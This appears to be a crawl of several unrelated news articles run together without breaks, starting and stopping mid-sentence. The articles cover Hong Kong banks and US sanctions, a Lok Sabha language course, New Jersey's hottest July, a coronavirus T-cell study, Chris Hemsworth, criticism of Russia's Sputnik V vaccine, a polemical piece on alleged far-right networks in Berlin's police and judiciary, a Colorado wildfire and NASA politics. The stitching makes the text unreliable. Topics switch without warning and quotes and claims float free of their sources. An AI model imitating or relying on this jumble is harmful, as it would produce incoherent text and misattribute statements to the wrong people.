in the city's financial market, although the affected banks can theoretically resort to legal actions to defy non-compliant US rul-ings, he said. The benchmark Hang Seng Index ended down 0.63 percent at 24,377.43 points Mon-day, falling for the third consecutive trading day. In the eyes of Lui, the conflict has yet to become intense. Still, it's best to be pre-pared, and it would be essentially risk-free to opt for Chinese-invested banks, he said. Even if these banks are operating in the US as well, they cannot refuse to open ac-counts for the affected individuals according to Hong Kong's laws and regulations. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address New Delhi, Aug 12 : The Lok Sabha on Tuesday began a beginner-level course in French for the officials and staff of the LS Secretariat at the Parliament House. As many as 57 officials registered for the course. Inaugurating the course, Lok Sabha Speaker Om Birla said, "Knowledge of language is extremely relevant in today's interconnected world and is a necessary skill for success in different fields." Observing that language brings people together and helps improve their efficiency and skill, he said the "languages enrich us and bring people together". Birla emphasised that one must strive to constantly improve his skills and efficiency with the knowledge of new languages. He mentioned that India is the land of diversity and the Parliament is the edifice of diversity. He further said, "Lok Sabha, the popular House, is the temple of democracy and is the expression of the democratic will of 130 crore Indians. Members of Parliament can express themselves in 22 different Indian languages." Birla lauded the fact that the Lok Sabha Secretariat had undertaken such a step for the benefit of its staff. Birla appreciated the initiative undertaken by the Parliamentary Research and Training Institute for Democracies (PRIDE). He said that PRIDE must remain committed learning and research. He added that in the near future, courses in German, Spanish, Russian and other important world languages would also be organised. July was an absolutely sweltering month for New Jerseyans, so it comes as no surprise that it was a record-setting month in terms of heat. It was the hottest July since temperature records started being kept in 1895, according to New Jersey State Climatologist David A. Robinson at Rutgers Center for Environmental Prediction. While weve seen temperatures spike into the triple digits in other years, that didnt happen in July 2020. The month broke the record simply by having a bunch of days in the 90s, Robinson explained in a statement. For 25 days in July, one or more weather stations in New Jersey registered a temperature of at least 90 degrees. During a nasty heat wave in the second half of the month, it reached 95 degrees somewhere in the state for 10 out of 14 days, with the top temperature of 98 degrees registered in Moorestown in Burlington County July 19, Robinson said. The statewide average temperature of 78.8 degrees which makes it the hottest month on record was 4.2 degrees hotter than the 1981-2010 normal temperature. It just beat out the previous record holding years, 1955, 1999 and 2011, by .4 degrees. The average maximum statewide was 88.9 degrees, which was the fifth warmest ever, Robinson said. This was also the hottest July on record for six other states Connecticut, Delaware, Maryland, New Hampshire, Pennsylvania and Virginia according to the National Oceanic and Atmospheric Administration. Nationally, with an average temperature for the month of 75.7 degrees, it was the 11th hottest July since records have been kept for 126 years. The National Weather Service reporting stations in Newark registered 17 days of 90 or above temperatures, more than the average of 10 and but not too close to the record of 22. Stations in Atlantic City and Trenton saw 16 and 17 days respectively of at least 90 degrees, twice the average of eight days, but under the record of 21. Along with the high temperatures, July brought several wild storms that left some places flooded while others stayed dry. Spots in South Jersey registered over 10 inches of rain, while parts of Sussex, Ocean and Morris counties had between three and four inches. It was the 15th wettest July on record, Robinson said, and there were seven storms that dumped 2 inches or more somewhere in the state. One on July 1 also pummeled Cape May County with hail up to 1.75 inches in diameter. Our journalism needs your support. Please subscribe today to NJ.com. Rebecca Everett may be reached at reverett@njadvancemedia.com. Tell us your coronavirus story or send a tip here. Dr. Anthony Fauci, the nations leading infectious disease expert, said a new study could explain the extraordinary range that people experience with the novel coronavirus, from having no symptoms at all or a mild case to hospitalization or death. The discovery, which found potential signs of immunity in people who had previously been exposed to other types of coronavirus, could also expand the hunt for a long-lasting COVID-19 vaccine. Fauci and other scientists said the study published in Science this month held promising findings for understanding why some individuals exposed to COVID-19 for the first time have a modest reaction to the virus. The study found that the immune systems of roughly half of its subjects appeared to remember past exposure to other, prevalent coronaviruses, including variants of the common cold, equipping them to respond more quickly to a COVID-19 infection once it appeared. The findings also offer new insights that could help in developing a vaccine by looking at T cells which help fight the virus. Currently, all major candidates for a coronavirus vaccine undergoing clinical trials focus on harnessing a single antibody protein that can neutralize the virus. ONE-TWO PUNCH Since the coronavirus outbreak began, scientists including Fauci have struggled with the question of why the novel coronavirus hits some people so hard and leaves others unscathed. One of the things that I dont think has been emphasized very much at all during the attempt to address, scientifically, the COVID-19 outbreak, and vaccine development and testing, is that weve been focusing very exclusively on the antibody test, Fauci told McClatchy in a recent interview. Theres another equally important component of the immune system. The study, funded by the National Institute of Allergy and Infectious Diseases which Fauci heads, is one of the first to identify T cell cross reactivity in individuals who have previously been exposed to one of the four endemic coronavirus strains, SARS or MERS. Story continues Cells known as T cells, which originate in the thymus, serve as a secondary line of defense in the immune system once antibodies have failed or faded away. If you look at it metaphorically as an army with different levels of defense, the antibodies prevent the virus from getting in. So thats kind of like the first line of defense, Fauci explained. For those viruses that do escape and infect some cells, the T cells come in and kill the cells that are infected or block them. The T cells of individuals who took part in the study recognized the novel coronavirus when it was introduced to their immune systems for the first time. Angela Rasmussen, a virologist at Columbia University, also explained the immune system in military terms, likening antibodies to infantry and T cells to cavalry. None of our soldiers have been trained before this, Rasmussen said. But the T cell finding suggests that, maybe the cavalry actually is prepared for this virus. Maybe they already know a little bit about how to fight it. And maybe thats helping the overall army stave off the invading virus. Rasmussen cautioned against overstating the findings of the study, noting that the level of protection among those with T cell memory from other coronaviruses remains unknown. But she nevertheless celebrated the findings. Its a piece of good news, scientifically, because otherwise were completely naive to this virus and its completely brand new, Rasmussen said. If theres anything that can give us an edge in fighting it, even within our own bodies and immune systems, that to me is great news and is very promising. Fauci noted that, while T cells last much longer than antibodies, they do not last forever. The more recently an individual was infected with another type of coronavirus, the greater likelihood of some protection from COVID-19. It may explain the vast differences within older age groups, where scientists have tracked both asymptomatic cases as well as deaths in large numbers. While one elderly individual might have been exposed to a common coronavirus within the past few years, another may not have had that exposure for decades and not have the T cell memory that might otherwise provide protection. Its sort of like a one-two punch, Fauci said. Its conceivable that the T cells that youve made in response a couple of years ago three, four, five years ago when you were exposed to a relatively benign coronavirus that causes the common cold, could actually hang around, and when youre exposed to the SARS-Coronavirus-2, could have some degree of protection, he said, referring to the novel coronavirus. GLOBAL LESSONS Dr. Shane Crotty, a virologist at the La Jolla Institute for Immunology and senior author on the Science study, said in an interview that the findings could mean that individuals with T cell memory from common colds are having less severe responses to COVID-19 exposure, with their immune systems responding to the new infection more quickly. At least part of that immune memory is from peoples immune systems seeing common cold coronaviruses before, Crotty said. Most people have had those four common cold coronaviruses some time in their life, and about half of people have immune memory that cross-reacts between those common cold coronaviruses and this new coronavirus. The initial findings on T cell memory are already helping global leaders in public health better understand why some regions of the world have been hit harder by the COVID-19 pandemic than others. Bill Gates, co-founder of Microsoft and of the Bill & Melinda Gates Foundation, told CNN over the weekend that related coronavirus exposure has begun to explain the regional discrepancies. Within a few months well really understand this, Gates said. He pointed out that, in Southeast Asia, the prevalence of coronavirus-carrying bats might have increased T cell immunity among the human population. They probably had this cross protection that meant the spread of the disease was not as strong there, he said. But the overall impact of these findings still requires greater research, Crotty said. Theres no direct evidence of an effect of these cells on disease severity, Crotty said, but weve taken the critical steps along the way to test that showing that these cells exist, and now showing that these cells are not all the same in people, and that, definitely, some of these have memories from exposure to the common cold. Chris Hemsworths relationship with India goes back well beyond the time he visited the country to shoot his film Extraction. India is the name of the Australian actors daughter, and theres a story behind it. Hemsworth, who turns 37 on August 11, is married to model and actor Elsa Pataky, who spent a lot of time in India. While promoting his film Men in Black: International in 2019, the actor told IANS, My wife spent lot of time in India and that was where the name originally came from. Besides India Rose, Hemsworth and Pataky have two more children - Sasha and Tristan. The actor has since spoken about the country on several occasions, especially after he shot Extraction in Ahmedabad and Mumbai. I love the place and the people, he said at a press event, Shooting there... There were thousands of people on the streets every day and I have never experienced that on set. It was sort of intimidating as it was exciting because there were so many people. He added, I have such pleasant memories of people and interactions there, and a lot of enthusiasm and positivity. There was real excitement for us shooting there. We had never shot there before. From the crew it felt like there were not many films like this being shot there so there was a unique sort of originality to it. Also read: Chris Hemsworth made repeated goof-ups in Avengers Infinity War. And theyre in the film The actor was also surprised by the popularity of his Marvel character Thor in India. In fact, directors Joe and Anthony Russo had said that while making Avengers: Endgame, theyd often inspire themselves by watching in-theatre videos of Indian fans cheering at Thors entry in Avengers: Infinity War. Follow @htshowbiz for more SHARE THIS ARTICLE ON Vladimir Putin was savaged by scientists today for his 'reckless and foolish' claim that Russia has developed the world's first effective coronavirus vaccine. Putin says the vaccine offers 'sustainable immunity' against Covid-19 and says his daughter has already been given the jab, with Russia eyeing up mass injections as soon as October - causing widespread alarm because it has not yet passed clinical trials. One scientist blasted Putin's move as 'unethical' because an 'improperly tested vaccine' could have 'disastrous' effects on public health, while others warned that there is 'no data' to tell whether the Russian vaccine is effective. Another expert warned that 'the damage from release of any vaccine that was less than safe and effective would exacerbate our current problems insurmountably'. While small trials can show whether a vaccine is likely to be safe, the usually months-long Phase III tests which measure its effectiveness have not yet taken place, while the WHO has not yet granted approval for the jab. Nonetheless, Russia claims that 20 countries have already ordered a billion doses of the vaccine, which has been named Sputnik V after the former Soviet space satellites. Philippines President Rodrigo Duterte has already struck a deal for millions of doses while India, Brazil and Saudi Arabia have previously expressed an interest in the drug, according to Russian officials. The Kremlin and its state-controlled media have touted Russian scientists as global pioneers and turned the vaccine race into a matter of national prestige - leading to fears that safety could be compromised for the sake of Russia's image. Britain, the US and Canada claimed last month that Russia had tried to hack into Western vaccine research in its quest to win the race. Vladimir Putin claims Russia has a coronavirus vaccine and says one of his daughters has already been injected - prompting widespread scepticism Putin said one of his daughters Maria (left) and Katerina (right) had been injected with a coronavirus vaccine. Reports in Russia say it was the younger Katerina who was inoculated WHAT DO WE KNOW ABOUT RUSSIA'S VACCINE? The Russian jab is a type called a viral vector vaccine, meaning it uses another virus to carry the immune agent - damaged parts of the real coronavirus, which can trigger a reaction but not cause an infection - into human cells. Putin's vaccine uses an adenovirus, a type of virus best known for causing the common cold, which has been weakened so it cannot trigger illness. Oxford University's vaccine candidate uses the same method. Russia claims the jab sped through early trials on monkeys and humans, known as Phase I and II trials, and was safe and effective at producing antibodies against Covid-19. But the scientists behind the vaccine have released no scientific data from the trials, meaning the results likely haven't been scrutinised by independent experts. The Russian jab has also not been put through rigorous Phase 3 trials, which are considered the only way to ensure vaccines are safe and actually work. During these tests, sometimes known as efficacy trials, scientists give the vaccine to tens of thousands of people and wait to see how many become infected. They then compare their results with volunteers who caught the infection after receiving a placebo. Scientists say this final phase is the only way to statistically prove a vaccine prevents infection. And because it's a much larger testing group, the trials can also pick up subtle side effects that may only affect a small percentage of people. These rare side effects can become dangerous when vaccines are scaled up for entire populations of tens of millions of people. Professor Peter Openshaw, an experimental medicine expert at Imperial College London, said today: 'It's important to emphasise that this vaccine has not been approved or even fully tested. The Russian health authorities are discussing the process for possible WHO pre-qualification as an approved vaccine. 'There are currently 19 vaccines that have been tested for the ability to generate antibody (Phase I), another 11 that have passed this stage and gone on to expended testing (Phase II), eight at Phase III and one vaccine approved for limited use. 'So far, it is reported that the Russian vaccine has undergone less than two months of human testing in a total of 38 people. It appears to be at Phase I or II. According to news sources, there is a Phase III trial of 1,600 people planned. That's not actually very large for a vaccine trial and would assume a high rate of infection in the volunteers.' Professor Openshaw suggested that the type of vaccine the Russians have produced would be likely to cause mild side effects such as fever, headache and tiredness. Advertisement Speaking at a government meeting today, Putin claimed that the vaccine has undergone proper testing and been proven safe to use. 'I would like to repeat that it has passed all the necessary tests,' he said. 'The most important thing is to ensure full safety of using the vaccine and its efficiency.' The Russian leader added that one of his two adult daughters has received two shots of the vaccine and is feeling well. 'She has taken part in the experiment,' Putin said. Putin said his daughter had a temperature of 100F (38C) on the day of the first vaccine injection, which then dropped to 99F (37C) on the following day. After the second shot she again had a slight increase in temperature, but then it was all over, Putin said. He did not reveal whether it was his daughter Maria or Katerina who received the vaccine. However, reports in Russia said it was the younger Katerina who was inoculated. Further reports last month claimed that some of Russia's business and political elite had been given access to experimental vaccines as long ago as April. The Russian president said he hoped the country would soon start mass producing the vaccine. The Health Ministry said in Tuesday's statement that the vaccine is expected to provide immunity from the coronavirus for up to two years. Kirill Dmitriev, the head of the Russian Direct Investment Fund which finances the project, said that 20 countries have already pre-ordered a billion doses of the vaccine. Russia's vaccine is based on the adenovirus, a pathogen which causes the common cold and other illnesses and which can be engineered to match the genetic sequence of SARS-CoV-2, the coronavirus that causes Covid-19. Adenoviruses are also being used in the vaccine prototypes developed by Oxford University and China's CanSino. Responding to Putin's announcement, WHO spokesman Tarik Jasarevic told reporters that the agency was discussing the next steps with Russian authorities. 'We are in close contact with Russian health authorities and discussions are ongoing with respect to possible WHO prequalification of the vaccine, but again prequalification of any vaccine includes the rigorous review and assessment of all required safety and efficacy data,' Jasarevic said. Germany also raised doubts over the quality of the vaccine, stressing that drug approval is granted in the European Union only after full clinical trials. 'Patient safety is of the highest priority,' a health ministry spokeswoman told German newspaper network RND. 'There is no known data on the quality, efficacy and safety of the Russian vaccine.' While experts have not dismissed the possibility that 'Sputnik V' is effective, scientists say there is 'little detail' on the vaccine and warn that it is 'not possible to know' whether it works without proper data. Prof Francois Balloux, a biologist at University College London, slammed Putin's move as 'reckless and foolish' and said that 'vaccination with an improperly tested vaccine is unethical'. 'Any problem with the Russian vaccination campaign would be disastrous both through its negative effects on health, but also because it would further set back the acceptance of vaccines in the population,' he warned. Dr Michael Head, a global health researcher at the University of Southampton, said: 'It is unclear precisely what is actually happening with the Russian vaccine. 'It is vital that any vaccine roll-out has the confidence of the general public, and that there is good communication of the level of effectiveness and any likely side effects. 'At this point in time, there is no data on the Russian-led vaccine for the global health community to scrutinise.' Russia has suffered nearly 900,000 coronavirus cases, but the daily infection rate has been slowly falling for several months Russia has suffered 15,131 deaths in the pandemic and frequently sees more than 100 new fatalities per day Russian elite 'started getting vaccinated in April' Russia's business and political elite were given early access to experimental vaccines as long ago as April, it was claimed last month. Billionaire tycoons and government officials began getting jabs developed by the state-run Gamaleya Institute in Moscow in the spring, sources told Bloomberg. Those believed to have already received the vaccine include top executives at companies such as aluminum giant Rusal - owned by billionaire Oleg Deripaska. Kremlin spokesman Dmitry Peskov, who recovered from coronavirus after being hospitalised in May, said he did not know the names of those who had received the institute's vaccine. Peskov was asked if President Vladimir Putin had received the vaccine. He said: 'It probably wouldn't be a good idea to use an uncertified vaccine on the head of state,' adding that he wasn't aware of other officials trying it. Putin today claimed that one of his adult daughters had been among the first to receive the vaccine. Advertisement Dr Head continued: 'There have been lessons learned from previous vaccine roll-outs, that were usurped by anti-vaccination activists and population health has greatly suffered. 'Examples include the HPV vaccine in Denmark or Japan, where uptake plunged after anti-vaccine campaigns and irresponsible comments from some scientists. 'Health promotion and clear explanations to the general public are the bare minimum in terms of communications here.' Professor Keith Neal, an epidemiologist at the University of Nottingham, said that while a small sample is enough to show whether the vaccine is safe, a much larger trial is needed to show whether it prevents infection. 'If 25,000 people were recruited in each arm then we would expect 25 cases in one month' in unvaccinated people, he said, citing Russia's infection rate. 'Any figure less than 15 Covid-19 cases in the vaccine [group] would be significant. Given the size of the Russian population, recruiting 50,000 people is well deliverable. 'It is not possible to know if the Russian vaccine has been shown to be effective without submission of scientific papers for analysis and then there may be problems on data quality.' Prof Danny Altmann, Professor of Immunology at Imperial College London, said that 'the bar is necessarily set very high' for approving vaccines. 'The collateral damage from release of any vaccine that was less than safe and effective would exacerbate our current problems insurmountably. I hope these criteria have been followed. We are all in this together,' he said. Russian authorities have said that medical workers, teachers and other risk groups will be the first to be inoculated. Medical workers in protective gear prepare to draw blood from volunteers participating in a trial of a coronavirus vaccine at the Budenko Main Military Hospital outside Moscow What are you up to, Vlad? Scientists demand Putin publishes vaccine data Russia has not yet carried out Phase III trials on its vaccine or released data to justify Putin's belief that it provides immunity from Covid-19 - sparking concern among scientists. While experts have not dismissed the possibility that 'Sputnik V' is effective, scientists say it is 'not possible to know' yet because 'little detail' has been made available. Prof Keith Neal, an epidemiologist at the University of Nottingham, said small tests can show whether a vaccine is safe, but much larger ones are needed to tell whether it actually prevents infection. Other vaccine candidates such as the Oxford University project, backed by AstraZeneca and the UK government, have begun these so-called Phase III trials but the results may still be months away - and Russia was only due to start them this month. 'It is not possible to know if the Russian vaccine has been shown to be effective without submission of scientific papers for analysis and then there may be problems on data quality,' Prof Neal said. Prof Danny Altmann, an immunologist at Imperial College London, said the bar for vaccines being approved is 'necessarily high'. 'While information on the vast majority of the vaccines and trial protocols in the world have been made available, there seems to be rather little detail thus far on the Russian candidates,' he said. 'The collateral damage from release of any vaccine that was less than safe and effective would exacerbate our current problems insurmountably. I hope these criteria have been followed.' Dr Michael Head, a global health researcher at the University of Southampton, said it was 'unclear precisely what is actually happening with the Russian vaccine'. 'It is vital that any vaccine roll-out has the confidence of the general public, and that there is good communication of the level of effectiveness and any likely side effects,' he said. 'At this point in time, there is no data on the Russian-led vaccine for the global health community to scrutinise.' Advertisement Dr Ayfer Ali, a specialist in drug research at Warwick Business School, said there was a danger with 'fast approvals' that unwanted side-effects could be missed. In addition, if a vaccine is not protective enough it may actually 'allow the virus to enter the body more easily and worsen the disease the vaccine is supposed to protect against,' she said. Nonetheless, Russia's Deputy Prime Minister Tatyana Golikova said that the vaccination of doctors could start as early as this month. Russia previously said that the critical Phase III trials were not due to begin until this month, in the United Arab Emirates and the Philippines. Phase III trials usually last for months and involve thousands of people to ensure vaccine efficiency and safety. However, becoming the first country in the world to develop a vaccine has been a matter of national prestige for the Kremlin as it tries to assert the image of Russia as a global power. State television stations and other media have praised Russian scientists working on the vaccine and presented their work as the envy of other nations. Professor Alexander Gintsburg, head of the Gamaleya institute that developed the vaccine, raised eyebrows in May when he said that he and other researchers had already tried the vaccine on themselves. Human studies started on June 17 among 76 volunteers, including from the Russian military. The U.S., Britain and Canada last month accused Russia of using hackers to steal vaccine research from Western labs. Russia denied this. As the trials were declared completed, questions arose about the vaccine's safety and effectiveness. Some experts scoffed at Russian authorities' assurances that the vaccine drug produced the desired immune response and caused no significant side effects, pointing out that such claims need to be backed by published scientific data. The World Health Organization said all vaccine candidates should go through full stages of testing before being rolled out. Experts warn that vaccines that are not properly tested can cause harm in many ways - from a negative impact on health to creating a false sense of security or undermining trust in vaccinations. The WHO last week urged Russia to follow established guidelines and go 'through all the stages' necessary to develop a safe vaccine. Russia itself has suffered nearly 900,000 cases of the disease - the fourth-most in the world behind the US, Brazil and India - and more than 15,000 deaths. However, the infection rate has been gradually falling for months and Putin has touted Russia's response to the pandemic as superior to America's. More than 100 possible vaccines are being developed around the world and at least four are in final Phase III human trials, according to WHO data. One of these is being developed by China's Sinopharm and another by AstraZeneca and the University of Oxford. Producers are also grappling with the question of how to massively scale up production to meet global needs. Putin's acrobat daughter Katerina is vaccinated with Russia's 'world-first' jab By Will Stewart for MailOnline It was Vladimir Putin's younger Ekaterina - known as Katerina - Tikhonova who was vaccinated, according to a report today by Otkrytie Media. The information was confirmed by two reliable sources, one in the government, the other in a state company, said the news outlet. She had the vaccination at a very early stage of its development, it was claimed. There was no immediate comment from the Kremlin. Katerina, 33, uses the surname of her maternal grandmother, which for many years hid her identity as Putin's daughter. Maria (left) and Katerina Putin as youngsters. Reports in Russia say Katerina was the one injected with the coronavirus vaccine Katerina has gone from being a high-kicking dancer to spearhead a major new Russian artificial intelligence initiative. She came to prominence with her spectacular 'boogle woogle' Acrobatic Rock'n'roll performances in dance competitions. She holds a doctorate from prestigious Moscow State University after completing a study on helping cosmonauts and pilots to orientate themselves in difficult conditions. She was formerly married to Russia's youngest billionaire Kirill Shamalov, 38. The couple were reported to have divorced after which he wed glamorous socialite Zhanna Volkova, in her 30s. Her elder sister Maria, 35, uses the surname Vorontsova, and has a career in medical research. She is an expert on dwarfism, according to reports. She is believed to be married to a Dutch businessman with whom she has a family, making Putin a grandfather. Little is known of her, but she is said to be a fan of Little Britain starring David Walliams and Matt Lucas, and she listed her favourite book as 'Memoirs of a Geisha' by Arthur Golden. With terrorist sympathisers in the police force, neo-Nazi networks in the Special Forces Commandos (KSK) and the armed forces, the involvement of the secret service in right-wing extremist attacks, nobody can continue to close their eyes to the fact that right-wing terrorism in Germany comes from inside the state apparatus and flourishes there. Just how close the connections and complicity are between neo-Nazis, the far-right Alternative for Germany (AfD), police, the Verfassungsschutz (secret service) and the judiciary is shown by recent events in Berlin. Demonstration against Nazi attacks on June 26 in Neukolln Last Wednesday, Berlin Attorney General Margarete Koppers was forced to take over the investigation of the right-wing extremist series of attacks in the Neukolln district. According to a press release, circumstances had arisen which make the bias of a public prosecutor seem possible. Since 2013, at least 72 right-wing extremist crimes, including 23 arsons, have shaken the working-class district in the south of Berlin. The victims were mainly people who are active against right-wing extremism or have an immigration background. New facts suggest that right-wing extremists within the judicial system have deliberately delayed and prevented the investigation. More and more details are coming to light that point to a network between the state authorities and the neo-Nazi scene. According to media reports, the accusations concern not only the Berlin public prosecutor S, who is directly investigating the case, but also the head of the state security department of the public prosecutors office, Matthias Fenner, responsible for politically motivated crimes. Both have now been transferred. In an interrogation of the right-wing extremist suspect and former AfD politician Tilo P., Fenner is said to have identified himself as an AfD voter and like-minded person. He assured P. that he had nothing to fear from the judiciary. This is shown in the record of a chat surveillance of March 2017, in which P. reported on the interrogation to the second main suspect Sebastian T., a previously convicted Nazi thug and local politician belonging to the neo-Nazi German National Democratic Party (NPD). According to Prosecutor General Koppers, P. is said to have told T. that one felt in good hands with the public prosecutors office because of this statement. According to the Legal Tribune Online (LTO), the passage had already been noticed in an evaluation report of the Berlin State Office for Criminal Investigations (LKA) dated September 2019. The victims attorney, Franziska Nedelmann, who was able to view this report, demanded to see the original surveillance records. After being denied these, she filed a complaint with the General Prosecutors Office on July 10, thus setting the ball rolling. 2018Attack on Ferat Kocak What in recent years was repeatedly described by the Berlin Senate and the authorities as mishaps and errors in the investigations into the Neukolln series of attacks, apparently followed a pattern. The Kocak case is particularly revealing here. In the night of February 1, 2018, Neukolln left-wing politician Ferat Kocak became the victim of a dangerous arson attack on his car. He and his family, who were sleeping in the apartment building next door, only avoided death by a hairs breadth. That same night, the car of bookseller Heinz Ostermann also went up in flamesalready the third attack on the owner of the left-wing Neukolln bookstore Leporello. In 2017, Neukolln Social Democratic Party (SPD) politician Mirjam Blumenthal and IG Metall trade union activist Detlef Fendt were also hit by arson attacks. Only after pressure from lawyers and the public did it gradually come out that the attack on Kocak (and possibly also the other attacks) was prepared under the eyes and perhaps even with the help of the authorities. January 2018: Attack planning. The LKA and the Office for the Protection of the Constitution (as the secret service is called) learned from an intercepted conversation of the main suspects P. and T. on January 15, 2018 about the planning of a possible attack on Kocak, but did not warn him. The authorities were aware that the suspects were spying on the victims apartment. The secret service therefore issued an affidavit to the LKA on January 30, 2018i.e., two days before the arson attack on Kocakwhich was to enable further investigations. The vice head of the LKA, Oliver Stepien, did not admit this incident until November 2019 in the Interior Committee of Berlin state legislature. The police claimed that they had not warned Kocak because he was not considered to be in dangereven though Kocak is known for his public appearances against the right-wing. Then they referred to the protection of sources, a typical argument of the secret services to hold their protective hand over right-wing radicals. February 2018: House search, but no arrest. According to a report in taz, the police ordered arrest and search warrants against P. and T. as late as the evening of February 1, i.e. only one day after the attack, referring in detail to findings of the secret service. P. and T. were held to be responsible for the attack on Kocak as well as on the bookseller Ostermann. The Tiergarten Local Court thereupon allowed the search but considered the warrants to be insufficiently justified. During the house searches on February 2, 2018, a great deal of evidence was then confiscated, but the evaluation results remained secret. Meanwhile, P. and T. are at liberty and can continue to commit attacks. March 2018: LKA man meets neo-Nazis. On March 16, 2018, secret service officers observed how a Berlin LKA official named W. first met with the main suspect Sebastian T. and three other neo-Nazis in a pub in Neukolln-Rudow and then drove off with T. in his car. This is the result of research by broadcasters ARD and rbb in April 2019. The victim advisory centre Reachout then reported the incident because it was suspected that the LKA employee had passed on secret information to right-wing extremists at this and possibly other meetings, thus aiding and abetting criminal acts. However, the proceedings were dropped. Enemy lists with personal data on 500 peopleeven before 2013 In May 2019, the Berlin Interior Senator (state interior minister), Andreas Geisel, then commissioned a 30-member special commission called Fokus to review the Neukolln series of attacks. In February 2020, this disclosed a few interim findings. Firstly, it corrected the presumed number of victims from 30 to 72. Secondly, in evaluating the computers that had been confiscated from the main suspects in 2018, it found more than 500 personal data records from the years before 2013. Allegedly, these enemy lists, sorted in folders according to topics such as Antifa, politicians, journalists, and police officers could only have been sorted in autumn 2019. LKA head Andre Rauhut brazenly declared to the Interior Affairs Committee that the lists did not show any concrete threats; so far only 30 persons had been informed. The Fokus commission also stated that besides the AfD member Tilo P. and the NPD member Sebastian T., Julian B. was also considered a main suspect. The neo-Nazi with a criminal record is said to have spied out possible targets for attacks with T. His apartment had already been searched in 2017 because he was suspected of incitement against Jewish institutions as the operator of the right-wing extremist Facebook group Freie Krafte Neukolln (Neukolln Free Forces). But the proceedings against him were dropped. Julian B. is also at large. 2016Police officer in exchanges with AfD and Tilo P. Not only in the Kocak case, but also the attacks on the Leporello bookstore, it becomes clear that the police, AfD and neo-Nazis are in close contact in Neukolln. According to research by broadcasters ARD and NDR, the public prosecutors office is currently investigating the Berlin police commissioner, Detlef M., because he is said to have passed on police internal information about the attack on Breitscheidplatz in 2016 in a Telegram chat group of the AfD. Numerous Neukolln AfD members belonged to this chat group, including the alleged right-wing terrorist Tilo P. The policeman in question had already been in contact with district board members of the Neukolln AfD and Tilo P. in autumn 2016. This was reported in June by the daily newspaper taz, which has possession of the relevant email correspondence. According to this, P.s proposal to visit an anti-fascist event at the Leporello bookstore on December 2, 2016 was discussed. Some AfD members spoke out against it. Ten days after the event, windows were broken at the bookstore and an incendiary device was placed in a Neukolln cafe. The right-wing extremist attacks in Neukolln continued unabated this year. Around 1,000 people demonstrated against right-wing violence at the end of June. Earlier, SS symbols had been smeared on the facade of the Syrian bakery Damascus on Sonnenallee and a delivery van parked in front of the shop set on fire. A bakery employee told RBB that this was the seventh attack on the Damascus. The role of the SPD-Left Party-Green Berlin state executive The facts known so far are certainly only the tip of the iceberg. Information that could reveal the true extent of right-wing extremist terror and the complicity of the authorities remains under wraps. The Criminal Investigation Departments 50-page interim report from February was classified as secret, which the interior senator justified with the words, We have to protect the ongoing investigations. Against the background of the latest revelations, it is clear that the SPD-Left Party-Green Senate (state executive) is deliberately trying to prevent evidence of right-wing extremist penetration of the authorities from coming to light. The seriousness of the situation is proven by the fact that the Attorney Generals Office has now taken over the investigation. The aim is not to uncover but to cover up the extreme right-wing structures. Koppers was vice president of the Berlin police force from 2010 to 2018, when she was appointed attorney generalin a period in which xenophobic and anti-Semitic crimes increased massively, neo-Nazis were able to carry out their mischief under the eyes of the police and the increasing of police powers was being promoted in Berlin. Moreover, the transfer of the two public prosecutors is not an isolated case. The influence of the AfD in the judiciary was already evident years ago in the case of Roman Reusch. The AfD Brandenburg executive member was appointed chief public prosecutor in Berlin in 2016. Since February 1, 2018, he has been an elected member of the federal Parliamentary Control Committee, which is supposed to monitor the secret services. This gives the right-wing extremist lawyer access to secret information and internal information of the Federal Intelligence Service, the Office for the Protection of the Constitution and the Military Counter-Intelligence Service. When Berlins Justice Senator Dirk Behrendt of the Green Party, Interior Senator Geisel of the SPD and several representatives of the Left Party now pretend to be outraged and call for a committee of inquiry or special investigators in the Neukolln complex, they are primarily trying to divert attention from their own responsibility and prevent any real investigation. The SPD-Left Party-Green state executive has been promoting right-wing extremism for years and is pursuing AfD policy on the central issues. Amid the pandemic, it is deporting refugees and only in July passed an even harsher police law. Left Party, Green and SPD politicians are constantly shouting for a strengthening of the police. The Berlin police regularly use brutal force against left-wing demonstrators, for example, during the protests following the murder of George Floyd, or last Friday, during the eviction of the left-wing Neukolln pub Syndikat. Berlins Office for the Protection of the Constitution, which criminalizes left-wing organizations, also placed the Ende Gelande climate movement under observation last year. Nowhere is this right-wing policy pursued more openly than at Berlins Humboldt University, where the Senate and university management under SPD politician Sabine Kunst are making pacts with the AfD and right-wing extremists. A prime example is Professor Jorg Baberowski, a right-wing extremist ideologue who relativizes Nazi crimes and attacks left-wing students verbally and physically. At the behest of the AfD, Kunst sued the RefRat student activist body in 2018 forcing it to provide the right-wing extremist party with lists of names of student representatives from the last 10 years. The instruction to file the suit came directly from State Secretary Steffen Krach (SPD). What drives the ruling class and its ideologists is the fear of growing protests against social inequality, the shift to the right and militarism. That is why it is arming the state apparatus and encouraging radical right-wing forces, which in case of doubt, serve as a battering ram against the working class. Right-wing terror cannot, therefore, be banished by appeals to the establishment parties and calls for an official committee of inquiry. That would mean setting the cat among the pigeons. What is necessary is to eliminate the social causes of the right-wing shift: the bankrupt capitalist system that gives birth to war and fascism. GLENWOOD SPRINGS, Colo. A portion of Interstate 70 remained closed in western Colorado on Tuesday because of a wildfire that broke out along the highway the day before, forcing drivers headed across the state to take long detours through the mountains. When the fire was reported 5 miles (8 kilometers) east of Glenwood Springs, firefighters found large active flames in the highways median before the blaze ran up the north-facing slope, U.S. Forest Service spokesman David Boyd said. The fire had burned nearly 3 square miles (7.8 square kilometers) by Tuesday afternoon, and the rugged terrain was limiting where firefighters could be deployed safely. The cause of the fire was under investigation. It was not immediately threatening any homes, but fire officials issued evacuation orders for the communities of No Name and Lookout Mountain east of Glenwood Springs. The fire broke out on a portion of I-70, the states main east-west highway, that runs along the Colorado River. Some rafters and their guides were forced from the river, and hikers were also escorted down the trail from Hanging Lake, a popular destination nearby, the Glenwood Springs Post Independent reported. Some residents elsewhere in Garfield County were forced from their homes because of a 57-square-mile (148-square-kilometer) fire burning north of Grand Junction. It was started July 31 by lightning and is 7 percent contained. President Trump, like some of his predecessors, is branding NASA's recent wins as political, presidential accomplishments even though they are the result of efforts that span administrations. Why it matters: Experts warn that partisan politicking with NASA can lead to whiplash that leaves the agency scrambling to chase new goals whenever a new administration arrives in Washington. Moonshot whiplash is particularly troubling for NASA because the long-term nature of its work means its most high-profile programs stretch across multiple administrations. As space becomes more important to national security and more geopolitical powers establish a presence in orbit, achieving big goals will be more important than ever. State of play: Trump has worked to present himself as a strong supporter of NASA and the space industry at large, often framing his administration's 